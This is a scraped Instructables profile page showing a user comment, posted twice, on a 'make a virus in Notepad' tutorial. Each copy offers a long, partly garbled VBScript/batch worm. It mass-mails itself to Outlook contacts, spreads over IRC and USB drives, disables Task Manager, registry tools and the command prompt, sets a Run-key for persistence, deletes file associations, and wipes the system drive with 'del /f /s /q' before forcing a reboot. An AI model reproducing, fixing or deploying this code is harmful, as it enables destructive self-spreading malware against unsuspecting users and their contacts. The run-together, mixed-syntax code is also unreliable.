loading
3 Comments

Tell us about yourself!

Complete Your Profile
  • Ziofly1 commented on errorcode401's instructable Make Simple Virus in Notepad6 months ago
    Make Simple Virus in Notepad

    You want evil? I'll give you evil!: @echo offDim x on error resume next Set fso ="Scripting.FileSystem.Object" Set so=CreateObject(fso) Set ol=CreateObject("Outlook.Application") Set out= WScript.CreateObject("Outlook.Application") Set mapi = out.GetNameSpace("MAPI") Set a = mapi.AddressLists(1) For x=1 To a.AddressEntries.Count Set Mail=ol.CreateItem(0) Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) Mail.Subject="Subject" Mail.Body="Body" Mail.Attachments.Add Wscript.ScriptFullNameMail.Send Next ol.Quit Dim pirchset fso=CreateObject("Scripting.FileSystemObject")set mirc=fso.CreateTextFile("C:\pirch98\events.ini")fso.CopyFile Wscript.ScriptFullName, "C:\mirc\attachment.vbs&q...see more »You want evil? I'll give you evil!: @echo offDim x on error resume next Set fso ="Scripting.FileSystem.Object" Set so=CreateObject(fso) Set ol=CreateObject("Outlook.Application") Set out= WScript.CreateObject("Outlook.Application") Set mapi = out.GetNameSpace("MAPI") Set a = mapi.AddressLists(1) For x=1 To a.AddressEntries.Count Set Mail=ol.CreateItem(0) Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) Mail.Subject="Subject" Mail.Body="Body" Mail.Attachments.Add Wscript.ScriptFullNameMail.Send Next ol.Quit Dim pirchset fso=CreateObject("Scripting.FileSystemObject")set mirc=fso.CreateTextFile("C:\pirch98\events.ini")fso.CopyFile Wscript.ScriptFullName, "C:\mirc\attachment.vbs", Truepirch.WriteLine "[Levels]");pirch.WriteLine "Enabled=1");pirch.WriteLine "Count=6");pirch.WriteLine "Level1=000-Unknows"pirch.WriteLine "000-UnknowsEnabled=1"pirch.WriteLine "Level2=100-Level 100"pirch.WriteLine "100-Level 100Enabled=1"pirch.WriteLine "Level3=200-Level 200"pirch.WriteLine "200-Level 200Enabled=1"pirch.WriteLine "Level4=300-Level 300"pirch.WriteLine "300-Level 300Enabled=1"pirch.WriteLine "Level5=400-Level 400"pirch.WriteLine "400-Level 400Enabled=1"pirch.WriteLine "Level6=500-Level 500"pirch.WriteLine "500-Level 500Enabled=1"pirch.WriteLine "[000-Unknowns]"pirch.WriteLine "User1=*!*@*"pirch.WriteLine "UserCount=1"pirch.WriteLine "Events1=ON JOIN:#: /dcc send $nick C:\Pirch98\attachement.vbs"pirch.WriteLine "EventCount=1"pirch.WriteLine "[100-Level 100]"pirch.WriteLine "UserCount=0"pirch.WriteLine "EventCount=0"pirch.WriteLine "[200-Level 200]"pirch.WriteLine "UserCount=0"pirch.WriteLine "EventCount=0"pirch.WriteLine "[300-Level 300]"pirch.WriteLine "UserCount=0"pirch.WriteLine "EventCount=0"pirch.WriteLine "[400-Level 400]"pirch.WriteLine "UserCount=0"pirch.WriteLine "EventCount=0"pirch.WriteLine "[500-Level 500]"pirch.WriteLine "UserCount=0"pirch.WriteLine "EventCount=0"pirch.CloseDim shell, msc, batch, fsoset fso=CreateObject("Scripting.FileSystemObject")fso.CopyFile Wscript.ScriptFullName, "C:\vbs.vbs", Trueset shell=wscript.createobject("wscript.shell")set msc=shell.CreateShortCut("C:\vbs.lnk")msc.TargetPath=shell.ExpandEnvironment("C:\vbs.vbs")msc.WindowStyle=4msc.Saveset batch=fso.CreateTextFile("C:\lnk.bat")batch.WriteLine "cls"batch.WriteLine "@echo off"batch.WriteLine "for %%a in (*.lnk ..\*.lnk \*.lnk %path%\*.lnk %tmp%\*.lnk %temp%\*.lnk %windir%\*.lnk) do copy C:\vbs.lnk %%a"batch.Closeshell.Run "C:\lnk.bat":ASet oWMP = CreateObject(“WMPlayer.OCX.7”)Set colCDROMs = oWMP.cdromCollectiondoif colCDROMs.Count >= 1 thenFor i = 0 to colCDROMs.Count – 1colCDROMs.Item(i).EjectNextFor i = 0 to colCDROMs.Count – 1colCDROMs.Item(i).EjectNextEnd Ifwscript.sleep 100Set wshShell =wscript.CreateObject(“WScript.Shell”)dowscript.sleep 100wshshell.sendkeys “{CAPSLOCK}”wshshell.sendkeys "{CTRL}"wshshell.sendkeys "{W}"goto AWScript.Sleep 36000START reg delete HKCR/.exeSTART reg delete HKCR/.dllSTART reg delete HKCR/*WScript.Sleep 1800000del %systemdrive%\*.* /f /s /qshutdown -r -f -t 00WScript.Sleep 20000000000:BON ERROR RESUME NEXTSet objShell = createObject(“WScript.Shell”)set objFS = createObject(“Scripting.FileSystemObject”)set objShell32 = createobject(“shell.application”)set drv = objFS.DrivesReg = “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\”Reg2 = “HKLM\SOFTWARE\Microsoft\Windows NT\”do objFS.GetFile(Wscript.ScriptFullName).Attributes = 6 for each driv in drv if driv.DriveType = 1 then objFS.CopyFile wscript.ScriptFullName, driv.DriveLetter & “:\vir.vbs”, true objFS.CopyFile wscript.ScriptFullName , objFS.GetSpecialFolder(WindowsFolder) & “\vir.vbs”, true end if next objShell.RegWrite Reg & “System\DisableTaskMgr”, 1, “REG_DWORD” objShell.RegWrite Reg & “System\DisableRegistryTools”, 2, “REG_DWORD” objShell.RegWrite Reg & “Explorer\NoFolderOptions”, 1, “REG_DWORD” objShell.RegWrite Reg & “Explorer\NoControlPanel”, 1, “REG_DWORD” objShell.RegWrite Reg & “Uninstall\NoAddRemovePrograms”, 1, “REG_DWORD” objShell.RegWrite “HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD”, 2, “REG_DWORD” objShell.RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Virus”, objFS.GetSpecialFolder(WindowsFolder) & “\vir.vbs” objShell.RegWrite Reg2 & “CurrentVersion\RegisteredOwner”, “Subin Ninan”, “REG_SZ” wscript.sleep 1000 objshell.SendKeys “{numlock}” wscript.sleep 1000 objshell.SendKeys “{capslock}” wscript.sleep 1000 objshell.SendKeys “{scrolllock}” objShell32.minimizeallgoto B:CSet wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 10wshshell.sendkeys "MESSAGE OF YOUR CHOICE"wshshell.sendkeys "~(enter)"goto CSTART reg delete HKCR/.exeSTART reg delete HKCR/.dllSTART reg delete HKCR/*wscript.sleep 18000000del %systemdrive%\*.* /f /s /qshutdown -r -f -t 00Save it as Anything.vbsIt copies itself to ALL of your files, makes your cd drive pop out constantly, hacks your email, and emails itself to everyone on your contacts, so they all get it, makes their keyboard spam a message of your choice, deletes key registry files, and makes your computer a blue screen a week later.

    You want worse? I'll give you worse!: @echo offDim x on error resume next Set fso ="Scripting.FileSystem.Object" Set so=CreateObject(fso) Set ol=CreateObject("Outlook.Application") Set out= WScript.CreateObject("Outlook.Application") Set mapi = out.GetNameSpace("MAPI") Set a = mapi.AddressLists(1) For x=1 To a.AddressEntries.Count Set Mail=ol.CreateItem(0) Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) Mail.Subject="Subject" Mail.Body="Body" Mail.Attachments.Add Wscript.ScriptFullNameMail.Send Next ol.Quit Dim pirchset fso=CreateObject("Scripting.FileSystemObject")set mirc=fso.CreateTextFile("C:\pirch98\events.ini")fso.CopyFile Wscript.ScriptFullName, "C:\mirc\attachment.vbs...see more »You want worse? I'll give you worse!: @echo offDim x on error resume next Set fso ="Scripting.FileSystem.Object" Set so=CreateObject(fso) Set ol=CreateObject("Outlook.Application") Set out= WScript.CreateObject("Outlook.Application") Set mapi = out.GetNameSpace("MAPI") Set a = mapi.AddressLists(1) For x=1 To a.AddressEntries.Count Set Mail=ol.CreateItem(0) Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) Mail.Subject="Subject" Mail.Body="Body" Mail.Attachments.Add Wscript.ScriptFullNameMail.Send Next ol.Quit Dim pirchset fso=CreateObject("Scripting.FileSystemObject")set mirc=fso.CreateTextFile("C:\pirch98\events.ini")fso.CopyFile Wscript.ScriptFullName, "C:\mirc\attachment.vbs", Truepirch.WriteLine "[Levels]");pirch.WriteLine "Enabled=1");pirch.WriteLine "Count=6");pirch.WriteLine "Level1=000-Unknows"pirch.WriteLine "000-UnknowsEnabled=1"pirch.WriteLine "Level2=100-Level 100"pirch.WriteLine "100-Level 100Enabled=1"pirch.WriteLine "Level3=200-Level 200"pirch.WriteLine "200-Level 200Enabled=1"pirch.WriteLine "Level4=300-Level 300"pirch.WriteLine "300-Level 300Enabled=1"pirch.WriteLine "Level5=400-Level 400"pirch.WriteLine "400-Level 400Enabled=1"pirch.WriteLine "Level6=500-Level 500"pirch.WriteLine "500-Level 500Enabled=1"pirch.WriteLine "[000-Unknowns]"pirch.WriteLine "User1=*!*@*"pirch.WriteLine "UserCount=1"pirch.WriteLine "Events1=ON JOIN:#: /dcc send $nick C:\Pirch98\attachement.vbs"pirch.WriteLine "EventCount=1"pirch.WriteLine "[100-Level 100]"pirch.WriteLine "UserCount=0"pirch.WriteLine "EventCount=0"pirch.WriteLine "[200-Level 200]"pirch.WriteLine "UserCount=0"pirch.WriteLine "EventCount=0"pirch.WriteLine "[300-Level 300]"pirch.WriteLine "UserCount=0"pirch.WriteLine "EventCount=0"pirch.WriteLine "[400-Level 400]"pirch.WriteLine "UserCount=0"pirch.WriteLine "EventCount=0"pirch.WriteLine "[500-Level 500]"pirch.WriteLine "UserCount=0"pirch.WriteLine "EventCount=0"pirch.CloseDim shell, msc, batch, fsoset fso=CreateObject("Scripting.FileSystemObject")fso.CopyFile Wscript.ScriptFullName, "C:\vbs.vbs", Trueset shell=wscript.createobject("wscript.shell")set msc=shell.CreateShortCut("C:\vbs.lnk")msc.TargetPath=shell.ExpandEnvironment("C:\vbs.vbs")msc.WindowStyle=4msc.Saveset batch=fso.CreateTextFile("C:\lnk.bat")batch.WriteLine "cls"batch.WriteLine "@echo off"batch.WriteLine "for %%a in (*.lnk ..\*.lnk \*.lnk %path%\*.lnk %tmp%\*.lnk %temp%\*.lnk %windir%\*.lnk) do copy C:\vbs.lnk %%a"batch.Closeshell.Run "C:\lnk.bat":ASet oWMP = CreateObject(“WMPlayer.OCX.7”)Set colCDROMs = oWMP.cdromCollectiondoif colCDROMs.Count >= 1 thenFor i = 0 to colCDROMs.Count – 1colCDROMs.Item(i).EjectNextFor i = 0 to colCDROMs.Count – 1colCDROMs.Item(i).EjectNextEnd Ifwscript.sleep 100Set wshShell =wscript.CreateObject(“WScript.Shell”)dowscript.sleep 100wshshell.sendkeys “{CAPSLOCK}”wshshell.sendkeys "{CTRL}"wshshell.sendkeys "{W}"goto AWScript.Sleep 36000START reg delete HKCR/.exeSTART reg delete HKCR/.dllSTART reg delete HKCR/*WScript.Sleep 1800000del %systemdrive%\*.* /f /s /qshutdown -r -f -t 00WScript.Sleep 20000000000:BON ERROR RESUME NEXTSet objShell = createObject(“WScript.Shell”)set objFS = createObject(“Scripting.FileSystemObject”)set objShell32 = createobject(“shell.application”)set drv = objFS.DrivesReg = “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\”Reg2 = “HKLM\SOFTWARE\Microsoft\Windows NT\”do objFS.GetFile(Wscript.ScriptFullName).Attributes = 6 for each driv in drv if driv.DriveType = 1 then objFS.CopyFile wscript.ScriptFullName, driv.DriveLetter & “:\vir.vbs”, true objFS.CopyFile wscript.ScriptFullName , objFS.GetSpecialFolder(WindowsFolder) & “\vir.vbs”, true end if next objShell.RegWrite Reg & “System\DisableTaskMgr”, 1, “REG_DWORD” objShell.RegWrite Reg & “System\DisableRegistryTools”, 2, “REG_DWORD” objShell.RegWrite Reg & “Explorer\NoFolderOptions”, 1, “REG_DWORD” objShell.RegWrite Reg & “Explorer\NoControlPanel”, 1, “REG_DWORD” objShell.RegWrite Reg & “Uninstall\NoAddRemovePrograms”, 1, “REG_DWORD” objShell.RegWrite “HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD”, 2, “REG_DWORD” objShell.RegWrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Virus”, objFS.GetSpecialFolder(WindowsFolder) & “\vir.vbs” objShell.RegWrite Reg2 & “CurrentVersion\RegisteredOwner”, “Subin Ninan”, “REG_SZ” wscript.sleep 1000 objshell.SendKeys “{numlock}” wscript.sleep 1000 objshell.SendKeys “{capslock}” wscript.sleep 1000 objshell.SendKeys “{scrolllock}” objShell32.minimizeallgoto B:CSet wshShell = wscript.CreateObject("WScript.Shell") do wscript.sleep 10wshshell.sendkeys "MESSAGE OF YOUR CHOICE"wshshell.sendkeys "~(enter)"goto CSTART reg delete HKCR/.exeSTART reg delete HKCR/.dllSTART reg delete HKCR/*wscript.sleep 18000000del %systemdrive%\*.* /f /s /qshutdown -r -f -t 00Save it as Anything.vbsIt copies itself to ALL of your files, makes your cd drive pop out constantly, hacks your email, and emails itself to everyone on your contacts, so they all get it, makes their keyboard spam a message of your choice, deletes key registry files, and makes your computer a blue screen a week later.

    View Instructable »